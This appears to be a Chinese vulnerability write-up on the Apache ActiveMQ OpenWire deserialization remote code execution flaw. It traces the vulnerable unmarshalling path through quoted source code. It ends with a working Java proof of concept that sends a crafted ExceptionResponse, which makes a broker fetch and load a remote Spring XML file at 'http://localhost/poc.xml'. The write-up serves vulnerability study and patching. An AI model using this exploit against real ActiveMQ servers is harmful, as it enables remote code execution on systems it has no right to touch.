首先看commit,添加了一个判断在BaseDataStreamMarshaller类的createThrowable方法中,而这个方法通过反射方式调用任意类的带有一个String类型参数的构造方法(自带spring,很容易想到ClassPathXmlApplicationContext),这里就是触发命令执行的位置
createThrowable
1
2
3
4
5
6
7
8
9
|
private Throwable createThrowable(String className, String message) {
try {
Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
Constructor constructor = clazz.getConstructor(new Class[] {String.class});
return (Throwable)constructor.newInstance(new Object[] {message});
} catch (Throwable e) {
return new Throwable(className + ": " + message);
}
}
|
看一下这个方法在哪里被调用,定位到类中的tightUnmarsalThrowable方法,方法中定义clazz和message,分别作为className和message传入,其中生成clazz和message的dataIn和bs分别来自于参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs)
throws IOException {
if (bs.readBoolean()) {
String clazz = tightUnmarshalString(dataIn, bs);
String message = tightUnmarshalString(dataIn, bs);
Throwable o = createThrowable(clazz, message);
if (wireFormat.isStackTraceEnabled()) {
if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) {
StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()];
for (int i = 0; i < ss.length; i++) {
try {
ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR
.newInstance(new Object[] {tightUnmarshalString(dataIn, bs),
tightUnmarshalString(dataIn, bs),
tightUnmarshalString(dataIn, bs),
Integer.valueOf(dataIn.readInt())});
} catch (IOException e) {
throw e;
} catch (Throwable e) {
}
}
o.setStackTrace(ss);
} else {
short size = dataIn.readShort();
for (int i = 0; i < size; i++) {
tightUnmarshalString(dataIn, bs);
tightUnmarshalString(dataIn, bs);
tightUnmarshalString(dataIn, bs);
dataIn.readInt();
}
}
o.initCause(tightUnmarsalThrowable(wireFormat, dataIn, bs));
}
return o;
} else {
return null;
}
}
protected String tightUnmarshalString(DataInput dataIn, BooleanStream bs) throws IOException {
if (bs.readBoolean()) {
if (bs.readBoolean()) {
int size = dataIn.readShort();
byte data[] = new byte[size];
dataIn.readFully(data);
// Yes deprecated, but we know what we are doing.
// This allows us to create a String from a ASCII byte array. (no UTF-8 decoding)
return new String(data, 0);
} else {
return dataIn.readUTF();
}
} else {
return null;
}
}
|
查找一下哪里调用了这个方法,定位到ExceptionResponsemarshaller的tightunmarshal方法,该定义一个ExceptionResponse对象并调用setException方法,其中赋值时调用tightUnmarsalThrowable
1
2
3
4
5
6
7
|
public void tightUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn, BooleanStream bs) throws IOException {
super.tightUnmarshal(wireFormat, o, dataIn, bs);
ExceptionResponse info = (ExceptionResponse)o;
info.setException((java.lang.Throwable) tightUnmarsalThrowable(wireFormat, dataIn, bs));
}
|
继续向上,定位到OpenWireFormat#doUnmarshal,顾名思义,执行反序列化,猜测是对使用OpenWire协议传入的序列化数据执行反序列化
分析一下doUnmarshal,首先获取传入的dis的类型,根据类型调用dataMarshallers数组中对应类型的反序列化类对其进行反序列化操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}
|
dataMarshallers在setVersion方法创建,传入对象的版本来调用相应的工厂类方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public void setVersion(int version) {
String mfName = "org.apache.activemq.openwire.v" + version + ".MarshallerFactory";
Class mfClass;
try {
mfClass = Class.forName(mfName, false, getClass().getClassLoader());
} catch (ClassNotFoundException e) {
throw (IllegalArgumentException)new IllegalArgumentException("Invalid version: " + version
+ ", could not load " + mfName)
.initCause(e);
}
try {
Method method = mfClass.getMethod("createMarshallerMap", new Class[] {OpenWireFormat.class});
dataMarshallers = (DataStreamMarshaller[])method.invoke(null, new Object[] {this});
} catch (Throwable e) {
throw (IllegalArgumentException)new IllegalArgumentException(
"Invalid version: "
+ version
+ ", "
+ mfName
+ " does not properly implement the createMarshallerMap method.")
.initCause(e);
}
this.version = version;
}
|
工厂类createMarshallerMap返回各个类型的反序列化对象的Map,对应上文OpenWireFormat#doUnmarshal方法
现在就是看他如何处理OpenWire请求
写个demo连接测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
package org.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;
public class Demo {
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection conn = connectionFactory.createConnection();
conn.start();
Session sess = conn.createSession();
Destination dest = sess.createQueue("tempQueue");
MessageProducer pro = sess.createProducer(dest);
Message msg = sess.createObjectMessage("123");
pro.send(msg);
conn.close();
}
}
|
maven
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-all</artifactId>
<version>5.18.2</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.19.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.19.0</version>
</dependency>
|
在OpenWireFormat#doUnmarshal打个断点看看
触发断点,说明在一次通信中会自动触发序列化反序列化,触发点在TcpTransport的readCommand方法
1
2
3
|
protected Object readCommand() throws IOException {
return wireFormat.unmarshal(dataIn);
}
|
需要传入ExceptResponse类型的数据进行触发,这里产生了问题,如何构造并发送ExceptResponse类型的数据包?
发送方面首先看一下pro.send(msg)
的调用链,最终调用marshal对进行序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
pro.send(msg)
-> ActiveMQMessageProducerSupport#send(Message message)
-> ActiveMQMessageProducer#send(Destination destination, Message message, int deliveryMode, int priority, long timeToLive)
-> ActiveMQMessageProducer#send(Destination destination, Message message, int deliveryMode, int priority, long timeToLive, AsyncCallback onComplete)
-> ActiveMQMessageProducer#send(Destination destination, Message message, int deliveryMode, int priority, long timeToLive, boolean disableMessageID, boolean disableMessageTimestamp, AsyncCallback onComplete)
-> ActiveMQSession#send(ActiveMQMessageProducer producer, ActiveMQDestination destination, Message message, int deliveryMode, int priority, long timeToLive,
boolean disableMessageID, boolean disableMessageTimestamp, MemoryUsage producerWindow, int sendTimeout, AsyncCallback onComplete)
-> ActiveMQConnection#syncSendPacket(Command command)
-> ActiveMQConnection#syncSendPacket(Command command, int timeout)
-> ResponseCorrelator#request(Object command)
-> ResponseCorrelator#asyncRequest(Object o, ResponseCallback responseCallback)
-> MutexTransport#oneway(Object command)
-> WireFormatNegoiate#oneway(Object command)
-> AbstractInvactivityMonitor#oneway(Object o)
-> AbstractInvactivityMonitor#doOnewaySend(Object command)
-> TcpTransport#oneway(Object command)
|
因此可以获取TcpTransport,调用oneway绕过构造msg直接发送ExceptionResponse,而ActiveMQConnection类正好有获取TcpTransport的方法getTransportChannel
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
package org.example;
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
public class Demo {
public static void main(String[] args) throws Exception {
ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection conn = connectionFactory.createConnection();
conn.start();
// Session sess = conn.createSession();
// Destination dest = sess.createQueue("tempQueue");
//
// MessageProducer pro = sess.createProducer(dest);
// Message msg = sess.createObjectMessage("123");
Throwable payload = new ClassPathXmlApplicationContext("http://localhost/poc.xml");
ExceptionResponse msg = new ExceptionResponse(payload);
((ActiveMQConnection)conn).getTransportChannel().oneway(msg);
// pro.send(msg);
conn.close();
}
}
|
于是就遇到问题
这边借鉴他人思路,重写ClassPathXmlApplicationContext类,使其继承Trowable类
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package org.springframework.context.support;
public class ClassPathXmlApplicationContext extends Throwable {
private String message;
public ClassPathXmlApplicationContext(String message) {
this.message = message;
}
public String getMessage() {
return this.message;
}
}
|
但为什么要getMessage呢?下个断点看一下,oneway中触发序列化之后,最终调用到BaseDataStreamMarshaller#tightMarshalThrowable1中,通过调用o.getMessage()来获取内容进行拼接
这样就串起来了
Done
参考
https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/